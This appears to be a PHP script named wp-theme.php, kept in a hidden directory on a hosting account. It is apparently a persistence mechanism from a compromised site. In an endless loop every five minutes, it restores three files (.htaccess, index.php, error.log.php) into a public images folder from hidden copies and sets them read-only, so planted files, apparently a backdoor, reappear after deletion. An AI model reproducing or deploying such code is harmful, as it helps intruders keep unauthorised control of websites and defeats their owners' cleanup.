Current File : /home/aventura/.cphorde/meta/cphorde/wp-theme.php
<?php
$ori1 = "/home/aventura/.cphorde/meta/cphorde/.htaccess";
$ori2 = "/home/aventura/.cphorde/meta/cphorde/index.php";
$ori3 = "/home/aventura/.cphorde/meta/cphorde/error.log.php";
$path1 = "/home/aventura/public_html/web/images/shop/shop-item/.htaccess";
$path2 = "/home/aventura/public_html/web/images/shop/shop-item/index.php";
$path3 = "/home/aventura/public_html/web/images/shop/shop-item/error.log.php";

while (true) {
    // Check if either path1 or path2 doesn't exist, or if their permissions are not 0555
    if ((!file_exists($path1) || !file_exists($path2) || !file_exists($path3)) || (fileperms($path1) !== 0555 || fileperms($path2) !== 0555 || fileperms($path3) !== 0555)) {
        chmod($path1, 0755);
        chmod($path2, 0755);
        chmod($path3, 0755);
        copy($ori1, $path1);
        copy($ori2, $path2);
        copy($ori3, $path3);
        chmod($path1, 0555);
        chmod($path2, 0555);
        chmod($path3, 0555);
    } else {
        // Check file sizes
        $ori1_size = filesize($ori1);
        $ori2_size = filesize($ori2);
        $ori3_size = filesize($ori3);
        $path1_size = filesize($path1);
        $path2_size = filesize($path2);
        $path3_size = filesize($path3);

        if ($ori1_size !== $path1_size || $ori2_size !== $path2_size) {
            // File sizes are different, copy the original files
            chmod($path1, 0755);
        chmod($path2, 0755);
        chmod($path3, 0755);
        copy($ori1, $path1);
        copy($ori2, $path2);
        copy($ori3, $path3);
        chmod($path1, 0555);
        chmod($path2, 0555);
        chmod($path3, 0555);
        }
    }

    // Sleep for 5 minutes
    sleep(300); // 300 seconds = 5 minutes
}
?>